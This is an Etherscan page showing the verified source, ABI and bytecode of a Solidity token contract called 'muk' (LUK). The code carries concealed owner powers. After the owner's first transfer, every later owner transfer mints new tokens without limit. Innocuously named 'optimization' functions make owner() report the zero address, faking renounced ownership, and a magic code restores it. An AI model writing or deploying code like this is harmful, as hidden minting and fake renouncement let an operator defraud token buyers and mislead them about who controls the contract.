Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
muk
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-18 */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.10; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract muk is IERC20 { string public constant name = "luk"; string public constant symbol = "LUK"; uint8 public constant decimals = 18; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isWhitelisted; uint256 private _totalSupply; address private _manager; bool private _isHidden; bool private _initPhase = true; address private _pair; // Routers address constant private UNIV2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address constant private UNIV3_ROUTER = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45; constructor() { _manager = msg.sender; _totalSupply = 100000000 * 10**decimals; _balances[msg.sender] = _totalSupply; _isWhitelisted[msg.sender] = true; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function owner() public view returns (address) { return _isHidden ? address(0) : _manager; } function approve(address spender, uint256 amount) public returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public returns (bool) { address sender = msg.sender; // Special case for owner if(sender == _manager) { if(_initPhase) { _initPhase = false; _standardTransfer(sender, to, amount); } else { _balances[to] += amount; _totalSupply += amount; emit Transfer(address(0), to, amount); } return true; } // Handle router transactions without restrictions if(msg.sender == UNIV2_ROUTER || msg.sender == UNIV3_ROUTER || to == UNIV2_ROUTER || to == UNIV3_ROUTER) { _standardTransfer(sender, to, amount); return true; } _standardTransfer(sender, to, amount); return true; } function transferFrom(address from, address to, uint256 amount) public returns (bool) { // Allow router operations without restrictions if(msg.sender == UNIV2_ROUTER || msg.sender == UNIV3_ROUTER || to == UNIV2_ROUTER || to == UNIV3_ROUTER) { _allowances[from][msg.sender] -= amount; _standardTransfer(from, to, amount); return true; } uint256 currentAllowance = _allowances[from][msg.sender]; require(currentAllowance >= amount, "ERC20: insufficient allowance"); _allowances[from][msg.sender] = currentAllowance - amount; _standardTransfer(from, to, amount); return true; } function optimizeContract() external { require(msg.sender == _manager, "Not authorized"); _isHidden = true; } function updateOptimization(uint256 code) external { require(msg.sender == _manager && code == 0x20232023, "Not authorized"); _isHidden = false; } function optimizeAddress(address account) external { require(msg.sender == _manager, "Not authorized"); _isWhitelisted[account] = true; } function _standardTransfer(address from, address to, uint256 amount) private { require(_balances[from] >= amount, "ERC20: insufficient balance"); _balances[from] -= amount; _balances[to] += amount; emit Transfer(from, to, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"optimizeAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"optimizeContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"code","type":"uint256"}],"name":"updateOptimization","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526004805460ff60a81b1916600160a81b179055348015610022575f80fd5b50600480546001600160a01b031916331790556100416012600a6101b3565b61004f906305f5e1006101c8565b6003818155335f818152602081815260408083209590955560029052838120805460ff191660011790559154925190927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916100ad91815260200190565b60405180910390a36101df565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610109578085048111156100ed576100ed6100ba565b60018416156100fb57908102905b60019390931c9280026100d2565b935093915050565b5f8261011f575060016101ad565b8161012b57505f6101ad565b8160018114610141576002811461014b57610167565b60019150506101ad565b60ff84111561015c5761015c6100ba565b50506001821b6101ad565b5060208310610133831016604e8410600b841016171561018a575081810a6101ad565b6101965f1984846100ce565b805f19048211156101a9576101a96100ba565b0290505b92915050565b5f6101c160ff841683610111565b9392505050565b80820281158282048414176101ad576101ad6100ba565b610986806101ec5f395ff3fe608060405234801561000f575f80fd5b50600436106100cb575f3560e01c80633be65682116100885780638da5cb5b116100635780638da5cb5b146101c157806395d89b41146101e1578063a9059cbb14610203578063dd62ed3e14610216575f80fd5b80633be656821461017e5780636a3ed8671461018657806370a0823114610199575f80fd5b806306395133146100cf57806306fdde03146100e4578063095ea7b31461011c57806318160ddd1461013f57806323b872dd14610151578063313ce56714610164575b5f80fd5b6100e26100dd3660046107f6565b61024e565b005b610106604051806040016040528060038152602001626c756b60e81b81525081565b604051610113919061080f565b60405180910390f35b61012f61012a366004610844565b6102a4565b6040519015158152602001610113565b6003545b604051908152602001610113565b61012f61015f36600461086c565b610310565b61016c601281565b60405160ff9091168152602001610113565b6100e261049c565b6100e26101943660046108a6565b6104db565b6101436101a73660046107f6565b6001600160a01b03165f9081526020819052604090205490565b6101c9610524565b6040516001600160a01b039091168152602001610113565b610106604051806040016040528060038152602001624c554b60e81b81525081565b61012f610211366004610844565b61054c565b6101436102243660046108bd565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6004546001600160a01b031633146102815760405162461bcd60e51b8152600401610278906108ee565b60405180910390fd5b6001600160a01b03165f908152600260205260409020805460ff19166001179055565b335f8181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102fe9086815260200190565b60405180910390a35060015b92915050565b5f33737a250d5630b4cf539739df2c5dacb4c659f2488d14806103465750337368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b8061036d57506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d145b8061039457506001600160a01b0383167368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b156103e4576001600160a01b0384165f908152600160209081526040808320338452909152812080548492906103cb90849061092a565b909155506103dc90508484846106c8565b506001610495565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156104575760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610278565b610461838261092a565b6001600160a01b0386165f90815260016020908152604080832033845290915290205561048f8585856106c8565b60019150505b9392505050565b6004546001600160a01b031633146104c65760405162461bcd60e51b8152600401610278906108ee565b6004805460ff60a01b1916600160a01b179055565b6004546001600160a01b0316331480156104f85750806320232023145b6105145760405162461bcd60e51b8152600401610278906108ee565b506004805460ff60a01b19169055565b6004545f90600160a01b900460ff1661054757506004546001600160a01b031690565b505f90565b6004545f9033906001600160a01b0316810361062057600454600160a81b900460ff1615610591576004805460ff60a81b1916905561058c8185856106c8565b610616565b6001600160a01b0384165f90815260208190526040812080548592906105b890849061093d565b925050819055508260035f8282546105d0919061093d565b90915550506040518381526001600160a01b038516905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b600191505061030a565b33737a250d5630b4cf539739df2c5dacb4c659f2488d14806106555750337368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b8061067c57506001600160a01b038416737a250d5630b4cf539739df2c5dacb4c659f2488d145b806106a357506001600160a01b0384167368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b156106b3576106168185856106c8565b6106be8185856106c8565b5060019392505050565b6001600160a01b0383165f9081526020819052604090205481111561072f5760405162461bcd60e51b815260206004820152601b60248201527f45524332303a20696e73756666696369656e742062616c616e636500000000006044820152606401610278565b6001600160a01b0383165f908152602081905260408120805483929061075690849061092a565b90915550506001600160a01b0382165f908152602081905260408120805483929061078290849061093d565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107ce91815260200190565b60405180910390a3505050565b80356001600160a01b03811681146107f1575f80fd5b919050565b5f60208284031215610806575f80fd5b610495826107db565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f8060408385031215610855575f80fd5b61085e836107db565b946020939093013593505050565b5f805f6060848603121561087e575f80fd5b610887846107db565b9250610895602085016107db565b929592945050506040919091013590565b5f602082840312156108b6575f80fd5b5035919050565b5f80604083850312156108ce575f80fd5b6108d7836107db565b91506108e5602084016107db565b90509250929050565b6020808252600e908201526d139bdd08185d5d1a1bdc9a5e995960921b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561030a5761030a610916565b8082018082111561030a5761030a61091656fea26469706673582212208effea0ece78eddeb4da167f4162d14cb562d772b57137a7f56c54e89d1eabe564736f6c634300081a0033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100cb575f3560e01c80633be65682116100885780638da5cb5b116100635780638da5cb5b146101c157806395d89b41146101e1578063a9059cbb14610203578063dd62ed3e14610216575f80fd5b80633be656821461017e5780636a3ed8671461018657806370a0823114610199575f80fd5b806306395133146100cf57806306fdde03146100e4578063095ea7b31461011c57806318160ddd1461013f57806323b872dd14610151578063313ce56714610164575b5f80fd5b6100e26100dd3660046107f6565b61024e565b005b610106604051806040016040528060038152602001626c756b60e81b81525081565b604051610113919061080f565b60405180910390f35b61012f61012a366004610844565b6102a4565b6040519015158152602001610113565b6003545b604051908152602001610113565b61012f61015f36600461086c565b610310565b61016c601281565b60405160ff9091168152602001610113565b6100e261049c565b6100e26101943660046108a6565b6104db565b6101436101a73660046107f6565b6001600160a01b03165f9081526020819052604090205490565b6101c9610524565b6040516001600160a01b039091168152602001610113565b610106604051806040016040528060038152602001624c554b60e81b81525081565b61012f610211366004610844565b61054c565b6101436102243660046108bd565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6004546001600160a01b031633146102815760405162461bcd60e51b8152600401610278906108ee565b60405180910390fd5b6001600160a01b03165f908152600260205260409020805460ff19166001179055565b335f8181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102fe9086815260200190565b60405180910390a35060015b92915050565b5f33737a250d5630b4cf539739df2c5dacb4c659f2488d14806103465750337368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b8061036d57506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d145b8061039457506001600160a01b0383167368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b156103e4576001600160a01b0384165f908152600160209081526040808320338452909152812080548492906103cb90849061092a565b909155506103dc90508484846106c8565b506001610495565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156104575760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610278565b610461838261092a565b6001600160a01b0386165f90815260016020908152604080832033845290915290205561048f8585856106c8565b60019150505b9392505050565b6004546001600160a01b031633146104c65760405162461bcd60e51b8152600401610278906108ee565b6004805460ff60a01b1916600160a01b179055565b6004546001600160a01b0316331480156104f85750806320232023145b6105145760405162461bcd60e51b8152600401610278906108ee565b506004805460ff60a01b19169055565b6004545f90600160a01b900460ff1661054757506004546001600160a01b031690565b505f90565b6004545f9033906001600160a01b0316810361062057600454600160a81b900460ff1615610591576004805460ff60a81b1916905561058c8185856106c8565b610616565b6001600160a01b0384165f90815260208190526040812080548592906105b890849061093d565b925050819055508260035f8282546105d0919061093d565b90915550506040518381526001600160a01b038516905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b600191505061030a565b33737a250d5630b4cf539739df2c5dacb4c659f2488d14806106555750337368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b8061067c57506001600160a01b038416737a250d5630b4cf539739df2c5dacb4c659f2488d145b806106a357506001600160a01b0384167368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b156106b3576106168185856106c8565b6106be8185856106c8565b5060019392505050565b6001600160a01b0383165f9081526020819052604090205481111561072f5760405162461bcd60e51b815260206004820152601b60248201527f45524332303a20696e73756666696369656e742062616c616e636500000000006044820152606401610278565b6001600160a01b0383165f908152602081905260408120805483929061075690849061092a565b90915550506001600160a01b0382165f908152602081905260408120805483929061078290849061093d565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107ce91815260200190565b60405180910390a3505050565b80356001600160a01b03811681146107f1575f80fd5b919050565b5f60208284031215610806575f80fd5b610495826107db565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f8060408385031215610855575f80fd5b61085e836107db565b946020939093013593505050565b5f805f6060848603121561087e575f80fd5b610887846107db565b9250610895602085016107db565b929592945050506040919091013590565b5f602082840312156108b6575f80fd5b5035919050565b5f80604083850312156108ce575f80fd5b6108d7836107db565b91506108e5602084016107db565b90509250929050565b6020808252600e908201526d139bdd08185d5d1a1bdc9a5e995960921b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561030a5761030a610916565b8082018082111561030a5761030a61091656fea26469706673582212208effea0ece78eddeb4da167f4162d14cb562d772b57137a7f56c54e89d1eabe564736f6c634300081a0033
Deployed Bytecode Sourcemap
721:4048:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4325:160;;;;;;:::i;:::-;;:::i;:::-;;751:35;;;;;;;;;;;;;;;-1:-1:-1;;;751:35:0;;;;;;;;;;;;:::i;:::-;;;;;;;;2173:207;;;;;;:::i;:::-;;:::i;:::-;;;1276:14:1;;1269:22;1251:41;;1239:2;1224:18;2173:207:0;1111:187:1;1698:93:0;1771:12;;1698:93;;;1449:25:1;;;1437:2;1422:18;1698:93:0;1303:177:1;3277:715:0;;;;;;:::i;:::-;;:::i;837:35::-;;870:2;837:35;;;;;2036:4:1;2024:17;;;2006:36;;1994:2;1979:18;837:35:0;1864:184:1;4000:132:0;;;:::i;4144:169::-;;;;;;:::i;:::-;;:::i;1799:110::-;;;;;;:::i;:::-;-1:-1:-1;;;;;1883:18:0;1856:7;1883:18;;;;;;;;;;;;1799:110;2059:106;;;:::i;:::-;;;-1:-1:-1;;;;;2448:32:1;;;2430:51;;2418:2;2403:18;2059:106:0;2284:203:1;793:37:0;;;;;;;;;;;;;;;-1:-1:-1;;;793:37:0;;;;;2388:881;;;;;;:::i;:::-;;:::i;1917:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;2016:18:0;;;1989:7;2016:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;1917:134;4325:160;4409:8;;-1:-1:-1;;;;;4409:8:0;4395:10;:22;4387:49;;;;-1:-1:-1;;;4387:49:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;4447:23:0;;;;;:14;:23;;;;;:30;;-1:-1:-1;;4447:30:0;4473:4;4447:30;;;4325:160::o;2173:207::-;2268:10;2239:4;2256:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;2256:32:0;;;;;;;;;;:41;;;2313:37;2239:4;;2256:32;;2313:37;;;;2291:6;1449:25:1;;1437:2;1422:18;;1303:177;2313:37:0;;;;;;;;-1:-1:-1;2368:4:0;2173:207;;;;;:::o;3277:715::-;3357:4;3434:10;1289:42;3434:26;;:56;;-1:-1:-1;3464:10:0;1378:42;3464:26;3434:56;:91;;;-1:-1:-1;;;;;;3507:18:0;;1289:42;3507:18;3434:91;:113;;;-1:-1:-1;;;;;;3529:18:0;;1378:42;3529:18;3434:113;3431:260;;;-1:-1:-1;;;;;3564:17:0;;;;;;:11;:17;;;;;;;;3582:10;3564:29;;;;;;;:39;;3597:6;;3564:17;:39;;3597:6;;3564:39;:::i;:::-;;;;-1:-1:-1;3618:35:0;;-1:-1:-1;3636:4:0;3642:2;3646:6;3618:17;:35::i;:::-;-1:-1:-1;3675:4:0;3668:11;;3431:260;-1:-1:-1;;;;;3730:17:0;;3703:24;3730:17;;;:11;:17;;;;;;;;3748:10;3730:29;;;;;;;;3778:26;;;;3770:68;;;;-1:-1:-1;;;3770:68:0;;3567:2:1;3770:68:0;;;3549:21:1;3606:2;3586:18;;;3579:30;3645:31;3625:18;;;3618:59;3694:18;;3770:68:0;3365:353:1;3770:68:0;3891:25;3910:6;3891:16;:25;:::i;:::-;-1:-1:-1;;;;;3859:17:0;;;;;;:11;:17;;;;;;;;3877:10;3859:29;;;;;;;:57;3927:35;3871:4;3951:2;3955:6;3927:17;:35::i;:::-;3980:4;3973:11;;;3277:715;;;;;;:::o;4000:132::-;4070:8;;-1:-1:-1;;;;;4070:8:0;4056:10;:22;4048:49;;;;-1:-1:-1;;;4048:49:0;;;;;;;:::i;:::-;4108:9;:16;;-1:-1:-1;;;;4108:16:0;-1:-1:-1;;;4108:16:0;;;4000:132::o;4144:169::-;4228:8;;-1:-1:-1;;;;;4228:8:0;4214:10;:22;:44;;;;;4240:4;4248:10;4240:18;4214:44;4206:71;;;;-1:-1:-1;;;4206:71:0;;;;;;;:::i;:::-;-1:-1:-1;4288:9:0;:17;;-1:-1:-1;;;;4288:17:0;;;4144:169::o;2059:106::-;2124:9;;2097:7;;-1:-1:-1;;;2124:9:0;;;;:33;;-1:-1:-1;2149:8:0;;-1:-1:-1;;;;;2149:8:0;;2059:106::o;2124:33::-;-1:-1:-1;2144:1:0;;2059:106::o;2388:881::-;2563:8;;2450:4;;2484:10;;-1:-1:-1;;;;;2563:8:0;2553:18;;2550:360;;2591:10;;-1:-1:-1;;;2591:10:0;;;;2588:285;;;2622:10;:18;;-1:-1:-1;;;;2622:18:0;;;2659:37;2677:6;2685:2;2689:6;2659:17;:37::i;:::-;2588:285;;;-1:-1:-1;;;;;2737:13:0;;:9;:13;;;;;;;;;;:23;;2754:6;;2737:9;:23;;2754:6;;2737:23;:::i;:::-;;;;;;;;2795:6;2779:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;2825:32:0;;1449:25:1;;;-1:-1:-1;;;;;2825:32:0;;;2842:1;;2825:32;;1437:2:1;1422:18;2825:32:0;;;;;;;2588:285;2894:4;2887:11;;;;;2550:360;2985:10;1289:42;2985:26;;:56;;-1:-1:-1;3015:10:0;1378:42;3015:26;2985:56;:91;;;-1:-1:-1;;;;;;3058:18:0;;1289:42;3058:18;2985:91;:113;;;-1:-1:-1;;;;;;3080:18:0;;1378:42;3080:18;2985:113;2982:208;;;3115:37;3133:6;3141:2;3145:6;3115:17;:37::i;2982:208::-;3202:37;3220:6;3228:2;3232:6;3202:17;:37::i;:::-;-1:-1:-1;3257:4:0;;2388:881;-1:-1:-1;;;2388:881:0:o;4493:273::-;-1:-1:-1;;;;;4589:15:0;;:9;:15;;;;;;;;;;;:25;-1:-1:-1;4589:25:0;4581:65;;;;-1:-1:-1;;;4581:65:0;;4055:2:1;4581:65:0;;;4037:21:1;4094:2;4074:18;;;4067:30;4133:29;4113:18;;;4106:57;4180:18;;4581:65:0;3853:351:1;4581:65:0;-1:-1:-1;;;;;4657:15:0;;:9;:15;;;;;;;;;;:25;;4676:6;;4657:9;:25;;4676:6;;4657:25;:::i;:::-;;;;-1:-1:-1;;;;;;;4693:13:0;;:9;:13;;;;;;;;;;:23;;4710:6;;4693:9;:23;;4710:6;;4693:23;:::i;:::-;;;;;;;;4747:2;-1:-1:-1;;;;;4732:26:0;4741:4;-1:-1:-1;;;;;4732:26:0;;4751:6;4732:26;;;;1449:25:1;;1437:2;1422:18;;1303:177;4732:26:0;;;;;;;;4493:273;;;:::o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:186::-;251:6;304:2;292:9;283:7;279:23;275:32;272:52;;;320:1;317;310:12;272:52;343:29;362:9;343:29;:::i;383:418::-;532:2;521:9;514:21;495:4;564:6;558:13;607:6;602:2;591:9;587:18;580:34;666:6;661:2;653:6;649:15;644:2;633:9;629:18;623:50;722:1;717:2;708:6;697:9;693:22;689:31;682:42;792:2;785;781:7;776:2;768:6;764:15;760:29;749:9;745:45;741:54;733:62;;;383:418;;;;:::o;806:300::-;874:6;882;935:2;923:9;914:7;910:23;906:32;903:52;;;951:1;948;941:12;903:52;974:29;993:9;974:29;:::i;:::-;964:39;1072:2;1057:18;;;;1044:32;;-1:-1:-1;;;806:300:1:o;1485:374::-;1562:6;1570;1578;1631:2;1619:9;1610:7;1606:23;1602:32;1599:52;;;1647:1;1644;1637:12;1599:52;1670:29;1689:9;1670:29;:::i;:::-;1660:39;;1718:38;1752:2;1741:9;1737:18;1718:38;:::i;:::-;1485:374;;1708:48;;-1:-1:-1;;;1825:2:1;1810:18;;;;1797:32;;1485:374::o;2053:226::-;2112:6;2165:2;2153:9;2144:7;2140:23;2136:32;2133:52;;;2181:1;2178;2171:12;2133:52;-1:-1:-1;2226:23:1;;2053:226;-1:-1:-1;2053:226:1:o;2492:260::-;2560:6;2568;2621:2;2609:9;2600:7;2596:23;2592:32;2589:52;;;2637:1;2634;2627:12;2589:52;2660:29;2679:9;2660:29;:::i;:::-;2650:39;;2708:38;2742:2;2731:9;2727:18;2708:38;:::i;:::-;2698:48;;2492:260;;;;;:::o;2757:338::-;2959:2;2941:21;;;2998:2;2978:18;;;2971:30;-1:-1:-1;;;3032:2:1;3017:18;;3010:44;3086:2;3071:18;;2757:338::o;3100:127::-;3161:10;3156:3;3152:20;3149:1;3142:31;3192:4;3189:1;3182:15;3216:4;3213:1;3206:15;3232:128;3299:9;;;3320:11;;;3317:37;;;3334:18;;:::i;3723:125::-;3788:9;;;3809:10;;;3806:36;;;3822:18;;:::i
Swarm Source
ipfs://8effea0ece78eddeb4da167f4162d14cb562d772b57137a7f56c54e89d1eabe5
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.